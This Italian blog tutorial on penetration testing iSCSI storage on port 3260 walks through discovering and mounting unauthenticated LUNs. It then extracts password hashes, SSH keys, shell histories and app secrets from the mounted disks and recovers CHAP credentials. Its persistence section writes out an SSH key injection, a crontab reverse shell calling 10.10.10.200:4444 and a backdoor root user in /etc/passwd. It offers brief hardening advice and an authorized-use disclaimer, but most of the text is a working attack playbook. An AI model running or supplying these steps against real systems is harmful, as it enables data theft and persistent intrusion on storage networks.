networking

Porta 3260 iSCSI: Pentest, Target, LUN e CHAP

Porta 3260 iSCSI: Pentest, Target, LUN e CHAP

Porta 3260 iSCSI nel pentest: discovery di target e LUN, accesso a volumi storage, CHAP, mount di dischi remoti e analisi dei dati esposti.

  • Pubblicato il 2026-04-13
  • Tempo di lettura: 4 min

iSCSI (Internet Small Computer Systems Interface) è un protocollo che permette di accedere a dispositivi di storage remoti via rete TCP/IP come se fossero dischi locali. Ascolta sulla porta 3260 e viene usato in ambienti enterprise per collegare server a SAN (Storage Area Network), NAS e infrastrutture di virtualizzazione. Nel penetration testing, un target iSCSI esposto senza autenticazione è uno dei finding più gravi: equivale a dare accesso fisico ai dischi del server. Puoi montare volumi con sistemi operativi completi, leggere /etc/shadow, estrarre database, recuperare chiavi SSH e accedere a backup — tutto senza mai toccare il server che usa quei dischi.

A differenza di NFS che condivide directory, iSCSI condivide block device interi: partizioni, dischi, volumi logici. Monti il disco raw e accedi a tutto il filesystem come se il disco fosse fisicamente nel tuo computer.

Come Funziona iSCSI #

text
iSCSI Initiator (client)              iSCSI Target (server/SAN)
┌──────────────────┐                  ┌──────────────────────┐
│ Il tuo server     │                  │  Storage Array       │
│                   │ ── TCP:3260 ──► │                      │
│ /dev/sdb ←───────│── block I/O ────│  Target: iqn.2025... │
│                   │                  │    LUN 0: 500GB disk │
│ mount /dev/sdb1   │                  │    LUN 1: 1TB backup │
│ /mnt/remote_disk  │                  │    LUN 2: VM images  │
└──────────────────┘                  └──────────────────────┘

Terminologia:

  • Target: il server che espone lo storage (porta 3260)
  • Initiator: il client che si connette al target
  • IQN (iSCSI Qualified Name): identificativo unico del target (es. iqn.2025-01.com.corp:storage.lun0)
  • LUN (Logical Unit Number): un singolo volume/disco esposto dal target

1. Enumerazione #

Nmap #

bash
nmap -sV -p 3260 10.10.10.40
text
PORT     STATE SERVICE VERSION
3260/tcp open  iscsi   (iSCSI target)

Discovery dei target #

bash
iscsiadm -m discovery -t sendtargets -p 10.10.10.40
text
10.10.10.40:3260,1 iqn.2025-01.com.corp:storage.disk1
10.10.10.40:3260,1 iqn.2025-01.com.corp:storage.backup
10.10.10.40:3260,1 iqn.2025-01.com.corp:storage.vm-images

Tre target esposti: un disco dati, un backup e immagini VM. Se la discovery funziona senza credenziali → nessuna autenticazione richiesta.

Nmap script #

bash
nmap -sV -p 3260 --script=iscsi-info 10.10.10.40
text
| iscsi-info:
|   iqn.2025-01.com.corp:storage.disk1
|     Address: 10.10.10.40:3260,1
|   iqn.2025-01.com.corp:storage.backup
|     Address: 10.10.10.40:3260,1

2. Connessione e Mount #

Login al target #

bash
iscsiadm -m node -T iqn.2025-01.com.corp:storage.disk1 -p 10.10.10.40 --login
text
Logging in to [iface: default, target: iqn.2025-01.com.corp:storage.disk1, portal: 10.10.10.40,3260]
Login to ... successful.

Se il login riesce senza --authmethod → nessuna autenticazione CHAP configurata.

Verifica il nuovo disco #

bash
lsblk
text
NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda      8:0    0    50G  0 disk
├─sda1   8:1    0    49G  0 part /
└─sda2   8:2    0     1G  0 part [SWAP]
sdb      8:16   0   500G  0 disk          ← disco iSCSI appena connesso
├─sdb1   8:17   0   499G  0 part
└─sdb2   8:18   0     1G  0 part

sdb è il disco remoto iSCSI. Ha partizioni — montale:

bash
mkdir -p /mnt/iscsi
mount /dev/sdb1 /mnt/iscsi
bash
ls -la /mnt/iscsi/
text
drwxr-xr-x  23 root root  4096 Jan 15 10:00 .
drwxr-xr-x   3 root root  4096 Jan 15 12:00 ..
drwxr-xr-x   2 root root  4096 Jan 10 08:00 bin
drwxr-xr-x   3 root root  4096 Jan 10 08:00 boot
drwxr-xr-x   5 root root  4096 Jan 10 08:00 etc
drwxr-xr-x   4 root root  4096 Jan 10 08:00 home
drwxr-xr-x   2 root root  4096 Jan 10 08:00 root

È un filesystem Linux completo — il disco di boot di un server.

3. Extraction Dati #

Credenziali #

bash
cat /mnt/iscsi/etc/shadow
text
root:$6$abc$LONGHASH...:19000:0:99999:7:::
admin:$6$def$LONGHASH...:19000:0:99999:7:::

Hash delle password → crack con hashcat mode 1800 (sha512crypt).

bash
cat /mnt/iscsi/etc/passwd | grep -v nologin
bash
# Chiavi SSH
find /mnt/iscsi/home -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
find /mnt/iscsi/root/.ssh -type f 2>/dev/null
bash
# Credenziali applicative
grep -riE "password|secret|token|api_key" /mnt/iscsi/var/www/ /mnt/iscsi/opt/ /mnt/iscsi/etc/ 2>/dev/null | head -50
bash
# .bash_history di tutti gli utenti
find /mnt/iscsi/home -name ".bash_history" -exec echo "=== {} ===" \; -exec cat {} \; 2>/dev/null
cat /mnt/iscsi/root/.bash_history 2>/dev/null
bash
# File di configurazione database
cat /mnt/iscsi/var/www/html/wp-config.php 2>/dev/null
cat /mnt/iscsi/opt/app/.env 2>/dev/null

Backup LUN #

bash
# Login al target backup
iscsiadm -m node -T iqn.2025-01.com.corp:storage.backup -p 10.10.10.40 --login

# Monta
mount /dev/sdc1 /mnt/iscsi_backup

# I backup spesso contengono dump database con credenziali
find /mnt/iscsi_backup -name "*.sql" -o -name "*.dump" -o -name "*.bak" -o -name "*.tar.gz" 2>/dev/null

Immagini VM #

bash
# Le immagini VM (VMDK, QCOW2, VDI) sono dischi completi
find /mnt/iscsi_vm -name "*.vmdk" -o -name "*.qcow2" -o -name "*.vdi" 2>/dev/null

# Monta una QCOW2
modprobe nbd
qemu-nbd -c /dev/nbd0 /mnt/iscsi_vm/server.qcow2
mount /dev/nbd0p1 /mnt/vm_disk

# Accedi al filesystem della VM
cat /mnt/vm_disk/etc/shadow

4. Persistenza e Modifica #

Se il target iSCSI è in read-write (verificare con mount | grep iscsi), puoi scrivere sul disco remoto:

SSH key injection #

bash
mkdir -p /mnt/iscsi/root/.ssh
echo "ssh-rsa AAAA... attacker@kali" >> /mnt/iscsi/root/.ssh/authorized_keys
chmod 600 /mnt/iscsi/root/.ssh/authorized_keys

Quando il server che usa questo disco si avvia → puoi fare SSH come root.

Backdoor in crontab #

bash
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'" >> /mnt/iscsi/etc/crontab

Modifica /etc/passwd #

bash
# Aggiungi utente con UID 0 (root)
echo "backdoor:\$6\$salt\$hash:0:0::/root:/bin/bash" >> /mnt/iscsi/etc/passwd

5. CHAP Authentication Bypass #

Se il target richiede CHAP (Challenge-Handshake Authentication Protocol):

bash
iscsiadm -m node -T iqn.2025-01.com.corp:storage.disk1 -p 10.10.10.40 --login
text
Login to ... failed (authentication failure)

Trovare credenziali CHAP #

bash
# Su host già compromessi, cerca le configurazioni iSCSI initiator
cat /etc/iscsi/iscsid.conf | grep -iE "username|password|CHAP"
text
node.session.auth.username = iscsi_user
node.session.auth.password = iSCSI_P@ss2025!
bash
# Config VMware ESXi
grep -riE "CHAP" /etc/vmware/ 2>/dev/null

# Config Windows
# Pannello iSCSI Initiator → registra credenziali → registry
reg query HKLM\SYSTEM\CurrentControlSet\Control\iSCSI /s

Usare le credenziali trovate #

bash
iscsiadm -m node -T iqn.2025-01.com.corp:storage.disk1 -p 10.10.10.40 \
  -o update -n node.session.auth.authmethod -v CHAP
iscsiadm -m node -T iqn.2025-01.com.corp:storage.disk1 -p 10.10.10.40 \
  -o update -n node.session.auth.username -v iscsi_user
iscsiadm -m node -T iqn.2025-01.com.corp:storage.disk1 -p 10.10.10.40 \
  -o update -n node.session.auth.password -v 'iSCSI_P@ss2025!'
iscsiadm -m node -T iqn.2025-01.com.corp:storage.disk1 -p 10.10.10.40 --login

6. Detection & Hardening #

  • CHAP authentication obbligatoria su tutti i target
  • Mutual CHAP (bidirezionale) per prevenire target spoofing
  • ACL per IQN — solo initiator autorizzati possono connettersi
  • Network segmentation — storage network (SAN) isolata dalla rete dati, mai esposta
  • IPsec o TLS per cifrare il traffico iSCSI (i dati passano in chiaro su TCP)
  • Firewall — porta 3260 raggiungibile solo dalla VLAN storage
  • Log e monitoring — alert su login da IQN/IP non autorizzati

7. Cheat Sheet Finale #

AzioneComando
Nmapnmap -sV -p 3260 --script=iscsi-info target
Discovery targetiscsiadm -m discovery -t sendtargets -p target
Loginiscsiadm -m node -T IQN -p target --login
Lista dischilsblk
Mountmount /dev/sdb1 /mnt/iscsi
Leggi shadowcat /mnt/iscsi/etc/shadow
Cerca credenzialigrep -riE "password|secret" /mnt/iscsi/
Cerca SSH keysfind /mnt/iscsi -name "id_rsa"
SSH key injectecho "ssh-rsa..." >> /mnt/iscsi/root/.ssh/authorized_keys
Logoutiscsiadm -m node -T IQN -p target --logout
Trova CHAP credscat /etc/iscsi/iscsid.conf | grep -i chap

Riferimento: iSCSI RFC 7143, HackTricks iSCSI, storage security best practices. Uso esclusivo in ambienti autorizzati. https://angelica.gitbook.io/hacktricks/network-services-pentesting/3260-pentesting-iscsi

hackita.it/supportohackita.it/servizi.

#iSCSI Target #LUN Enumeration #CHAP

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.